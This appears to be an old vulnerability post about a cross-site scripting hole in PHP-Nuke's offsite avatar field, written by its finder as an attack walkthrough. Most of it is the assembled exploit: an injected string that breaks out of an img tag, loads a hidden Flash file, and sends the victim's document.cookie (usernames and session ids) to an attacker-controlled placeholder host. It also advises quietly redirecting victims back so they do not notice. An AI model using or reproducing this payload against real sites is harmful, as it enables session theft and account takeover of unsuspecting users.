PHP nuke XSS vulnerability

[fjlj () wvi com]

<strong>phP nuke exploit</strong>

<b>effects:</b>
all versions of php nuke

<b>solution:</b>
better filtering of offsite avatar selection.

in the avatar selection of the profile, u have the option of linking to an offsite image. this is the perfect place for 
an exploit.  

by placing this line of code into the box it will close the current img tag and hide it. 

<b>Code:</b> 
" width=0 height=0> 

after this code we will now call a specially crafted (not really) flash file from my web site. 

<b>Code:</b> 
<embed src=http://yourdomain.com/redirect.swf width=0 height=0>


this will view the swf and inside the swf is only one frame "an action frame" and the action will redirect your browser 
to a site on my page +document.cookie and in the cookie will be usernames and session ids. essentially enough to login 
as whoever it was. that code is

<b>Code:</b> 
geturl("javascript:location.replace('http://yourdomain.com/cookie.html?'+document.cookie)") 

in cookie.html u might as well put in a redirect to send them back to the home page or something, as long as they dont 
see your code. ;)

now our fullcode is 

<b>Code:</b> 
" width=0 height=0><embed src=http://yourdomain.com/redirect.swf width=0 height=0> 


now at the end we have to either start another img tag or close it so this is where i put my avatar 

<b>Code:</b> 
<img src=http://yourdomain.com/avatar.bmp 


this code will add my avatar and the default img tag ending will close it.  

our complete exploit code is 

<b>Code:</b> 
" width=0 height=0><embed src=http://yourdomain.com/redirect.swf width=0 height=0><img 
src=http://yourdomain.com/avatar.bmp 


what it will do 

1.)close the main img. 
2.)open your swf. 
3.)redirect them to your site
4.)log the cookie 
5.)redirect them back
6.)show an avatar! 

exploit found and written by FJLJ